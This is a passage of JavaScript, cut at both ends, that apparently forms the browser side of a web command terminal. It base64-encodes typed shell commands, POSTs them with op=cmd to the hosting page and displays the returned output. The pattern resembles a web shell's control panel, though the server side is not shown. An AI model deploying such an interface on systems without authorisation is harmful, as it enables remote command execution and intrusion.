';
    
    appendTerm('$ ' + cmd, 'prompt');
    appendTerm('Executing...', 'output');
    
    var b64cmd = btoa(cmd);
    var qs = new URLSearchParams({op:'cmd'}).toString();
    fetch('?' + qs, {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'data=' + encodeURIComponent(b64cmd)
    })
    .then(function(r) { return r.json(); })
    .then(function(d) {
        var out = document.getElementById('termOutput');
        if (out.lastChild) out.removeChild(out.lastChild);
        
        if (d.e) {
            appendTerm('ERROR: ' + d.e, 'error');
        } else if (d.out !== undefined) {
            appendTerm(d.out || '(no output)', 'output');
        } else {
            appendTerm(JSON.stringify(d), 'output');
        }
    })
    .catch(function(e) {
        var out = document.getElementById('termOutput');
        if (out.lastChild) out.removeChild(out.lastChild);
        appendTerm('FETCH ERROR: ' + e.message, 'error');
    });
}

function appendTerm(text, type) {
    var out = document.getElementById('termOutput');
    var line = document.createElement('div');
    line.className = 'term-' + type;
    line.textCont